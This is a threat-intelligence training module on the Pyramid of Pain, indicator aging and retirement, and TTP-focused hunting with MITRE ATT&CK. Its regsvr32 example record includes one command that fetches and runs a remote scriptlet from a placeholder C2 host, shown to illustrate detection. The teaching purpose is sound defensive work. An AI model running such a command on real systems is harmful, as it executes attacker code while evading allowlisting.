Module 3 · Pyramid of Pain & IOC Lifecycle

Last updated: April 29, 2026

Not all indicators are equal. Blocking an IP the attacker can change in 30 seconds is low-value work. Detecting their TTPs forces them to rewrite their playbook — high-value work. The Pyramid of Pain, introduced by David Bianco, is the framework that organises this difference. This module covers the pyramid, the IOC lifecycle, and how to structure detection priorities around both.

The Pyramid of Pain — David Bianco’s framework

   ▲ TOUGH!       TTPs (Tactics, Techniques, Procedures)
   │
   │  Tools
   │
   │  Network / Host Artifacts
   │
   │  Domain Names
   │
   │  IP Addresses
   │
   │  Hash Values
   ▼ TRIVIAL

  ↑ attacker cost to change ↑      ↑ defender value ↑

Indicators at the bottom are cheap for attackers to change. Indicators at the top are expensive. Defenders who focus energy on blocking hashes and IPs are making the attacker’s life marginally inconvenient. Defenders who detect TTPs force the attacker to redesign their operation.

Walking up the pyramid

Hash values (SHA256, MD5)

Attacker recompiles the binary; new hash. Cost to attacker: near zero. Defence utility: short shelf life, good for known-malware blocking in AV.

IP addresses

Attacker rotates infrastructure (VPS, cloud, Tor). Cost to attacker: dollars and minutes. Defence utility: fires on the specific campaign’s current infrastructure.

Domain names

Attacker registers a new domain ($10). Cost: marginally higher than IP rotation. Defence utility: domain reputation data is robust; DNS queries are hard to hide entirely.

Network / host artifacts

Specific patterns: the User-Agent string a malware uses, a registry key it writes, a specific filename, a mutex name. Cost to change: attacker must alter code; non-trivial. Defence utility: survives simple recompiles.

Tools

The malware family, the C2 framework (e.g., “Cobalt Strike”), the custom implant. Cost to change: attacker must develop or buy a replacement — weeks to months. Defence utility: detecting “this attack uses Cobalt Strike” is enduring intelligence.

TTPs

The techniques: “initial access via HTML smuggling → LNK → regsvr32 of a remote DLL.” Attacker cost to change: re-think the whole playbook. Defence utility: long-term, durable detections.

IOC lifecycle

Indicators have a temporal arc. Understanding the arc informs how you use them.

1. First seen — an incident, a report, a honeypot hit surfaces the IOC
2. Production — IOC is active in attacker use; blocking is high-value
3. Decay — attacker starts rotating infrastructure; the IOC’s hit rate drops
4. Stale — no hits for 30+ days; IOC is cluttering your feeds
5. Retirement — archived, removed from active blocklists; kept for retroactive hunting

Failing to retire stale IOCs is one of the most common CTI operational failures. Feeds grow to tens of millions of entries; SIEM cost explodes; hit rate plummets; analysts tune them out.

The 90-day rule for IOCs

Rule of thumb: most network indicators (IP, domain) decay sharply after 30 days and are useless after 90. Aging rules:

• IP: active block 30 days; detection-only (alert, don’t block) 30-90; retire after 90 unless re-seen
• Domain: slightly longer — 45 active block, 90 detection, retire at 180 unless still-seen
• Hash: can stay permanently — hashes don’t false-positive against legitimate files
• TTPs: permanent — detection rules based on TTP should rarely be retired

Contextualizing indicators

An IOC without context is inventory. With context it’s intelligence. Structure every IOC record with:

• What threat is it associated with (campaign, actor)
• When first seen; where (which source)
• Observed behaviour (what does this IP/domain/hash do?)
• Confidence in attribution
• Recommended response (block, alert, hunt-only)
• Decay policy

Enrichment tools: MISP (open source), OpenCTI, commercial TIPs. Pick one and commit; running without a TIP at scale is unsustainable.

TTPs and the MITRE ATT&CK framework

TTPs are the top of the pyramid. MITRE ATT&CK is the industry-standard taxonomy for describing them. Example TTP record:

Technique: T1218.010 — Signed Binary Proxy Execution: Regsvr32
Tactic:    Defense Evasion
Description: Adversaries may abuse regsvr32.exe to proxy execution of
  malicious code. Because regsvr32.exe is signed by Microsoft, its execution
  may be whitelisted.
Procedure (specific to campaign X): regsvr32 /s /n /u /i:http://c2/payload.sct scrobj.dll

Detection tied to the technique (not just the procedure) survives attacker evolution. A rule matching “regsvr32 invoked with a URL argument” catches any campaign using the technique, regardless of specific hash/IP.

Applying the Pyramid in practice

• Atomic IOCs (bottom 3): feed to SIEM/EDR for automated blocking. Short TTL. Don’t spend analyst time on individual items
• Artifacts & Tools: write detection rules; test with purple-team exercises; tune quarterly
• TTPs: this is where your best analysts spend time. Detection engineering, threat hunting hypothesis generation, red-team calibration

Common program failures

• All effort on IOCs, none on TTPs. Program looks busy (millions of indicators ingested) but defensive posture doesn’t change
• Never retiring indicators. Feed quality degrades; SIEM cost explodes
• Not marking confidence. Medium-confidence rumor treated same as high-confidence vendor intel
• Binary actions. Every indicator either “blocks” or “does nothing.” Missing the useful middle — alert-only, hunt-only, SOC-context-only

Building a TTP-focused hunt program

1. Identify the ATT&CK techniques most relevant to your environment (sector, size, tech stack)
2. Rank by observed prevalence in threat intelligence against peers
3. For the top 20-30 techniques, write detection hypotheses: “technique T1059.001 should produce X pattern in our logs”
4. Test each detection via Atomic Red Team or purple-team exercises
5. Promote working detections to production
6. Track coverage — what fraction of top techniques do we have detections for?

This is what actually moves defensive posture. IOC feeds are a hygiene control, not a competitive defense.

Where this leads

Module 4 dives deep into MITRE ATT&CK — how to use it operationally for threat modeling, detection coverage mapping, and red team exercise scoping. Module 5 applies everything to intel-driven hunting: going from a threat intel report to a tested hunt query in your SIEM.